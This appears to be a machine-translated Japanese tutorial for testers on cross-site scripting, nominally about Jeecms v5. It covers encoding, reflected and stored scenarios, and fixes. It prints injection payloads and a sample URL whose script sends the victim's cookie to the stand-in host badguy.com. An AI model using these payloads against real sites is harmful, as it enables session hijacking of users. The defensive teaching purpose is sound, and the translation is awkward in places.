Jeecms v 5 xss攻撃および問題の防止


xss攻撃百科:
http://baike.baidu.com/link?url=XugA9miyG8o4Ui5pRvR_TmXsZP5z8KaGKt65UYmetHOKK13U68du8r0qWDwBOTT3pFi9qPlS5QUZsNAXdhT3aq
 
xss攻撃とは:
XSSフルネーム(Cross Site Scripting)は、Webプログラムで最も一般的な脆弱性である.攻撃者がウェブページにクライアントスクリプト(例えばJavaScript)を埋め込むことを指し、ユーザがこのウェブページを閲覧すると、スクリプトはユーザのブラウザ上で実行され、攻撃者の目的を達成する.例えばユーザーのCookieを取得したり、悪意のあるサイトにナビゲートしたり、木馬を携帯したりします.
テスト担当者として、XSSの原理、攻撃シーン、修復方法を理解する必要があります.効果的にXSSの発生を防止することができます.
 
目次を読む
XSSはどうやって起こったのか
HTML Encode
XSS攻撃シーン
XSS脆弱性の修復
XSSの脆弱性をテストする方法
HTML EncodeとURL Encodeの違い
ブラウザ内のXSSフィルタ
ASP.NETにおけるXSSセキュリティメカニズム
XSSはどうやって起こったのか
次のtextboxがあれば
<input type="text" name="address1" value="value1from">

value 1 fromはユーザからの入力であり、ユーザがvalue 1 fromではなく「/>alert(document.cookie)<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
埋め込まれたJavaScriptコードが実行されます
 
あるいはユーザーが「onfocus=」alert(document.cookie)と入力すると
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

イベントがトリガーされると埋め込まれたJavaScriptコードが実行されます
攻撃の威力は、ユーザーがどのようなスクリプトを入力したかによって異なります.
 
もちろん、ユーザが提出するデータは、QueryString(URLに入れる)やCookieを介してサーバに送信することもできる.例えば下図
jeecms v5 防止xss攻击以及问题_第1张图片
 
HTML Encode
XSSが発生したのは,ユーザが入力したデータがコードになったためである.したがって,ユーザが入力したデータに対してHTML Encode処理を行う必要がある.「中かっこ」、「単一引用符」、「引用符」などの特殊文字を符号化します.
jeecms v5 防止xss攻击以及问题_第2张图片
HttpUtilityを呼び出す限り、C#には既存の方法が提供されている.HtmlEncode("string")でいいです.(System.Webプログラムセットを参照する必要があります)
Fiddlerにも便利なツールが用意されており、Toolbarの「TextWizard」ボタンをクリック
jeecms v5 防止xss攻击以及问题_第3张图片
 
XSS攻撃シーン
1.Dom-Based XSS脆弱性攻撃過程は以下の通りである.
トムはビクターを見つけたcomの1ページにXSSの脆弱性があり、
例:http://victim.com/search.asp?term=apple
サーバーの中aspページのコードは大体次の通りです.
<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>


トムはまずウェブサイトを作ったhttp://badguy.com「盗む」というメッセージを受信するために使用されます.そしてトムは悪意のあるurl(以下)を構築し、何らかの方法(メール、QQ)でMonicaに送る.
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

MonicaはこのURLをクリックすると、URLに埋め込まれた悪意のあるJavascriptコードがMonicaのブラウザで実行する.Monicaはvictimにいますcomサイトのクッキーは、badguyサイトに送信されます.これでMonicaはvictimにいます.comの情報はトムに盗まれた.
 
2.Stored XSS(ストレージXSS脆弱性)は、広く応用され、大きなWebサーバ自身のセキュリティに影響を及ぼす可能性のある脆弱性であり、攻撃者は攻撃スクリプトをWebサーバにアップロードし、そのページにアクセスしたすべてのユーザーが情報漏洩の可能性に直面する.攻撃の過程は以下のAlexがウェブサイトAにXSSの抜け穴があることを発見して、この抜け穴は攻撃コードをデータベースの中で保存することを許可して、
Alexは悪意のあるJavaScriptコードを埋め込んだ文章を発表した.
他の人がMonicaのようにこの文章にアクセスすると、文章に埋め込まれた悪意のあるJavascriptコードがMonicaのブラウザで実行され、そのセッションクッキーやその他の情報がAlexに盗まれます.
 
Dom-Based XSS脆弱性はユーザ個人を脅かすが、記憶式XSS脆弱性が脅かす対象は大量のユーザである.
 
XSS脆弱性修復
原則:顧客が入力したデータを信じない注意:攻撃コードは必ずしもにあるとは限らない
重要なクッキーをhttp onlyと表記するとJavascriptのdocument.クッキー文はクッキーを取得できません.
ユーザーが所望のデータを入力できるのは、ユーザーのみです.たとえば、年齢のtextboxでは、ユーザーが数字を入力できるようにします.数字以外の文字はフィルタリングされます.
データに対するHtml Encode処理特殊なHtmlラベルをフィルタまたは除去します.たとえば、,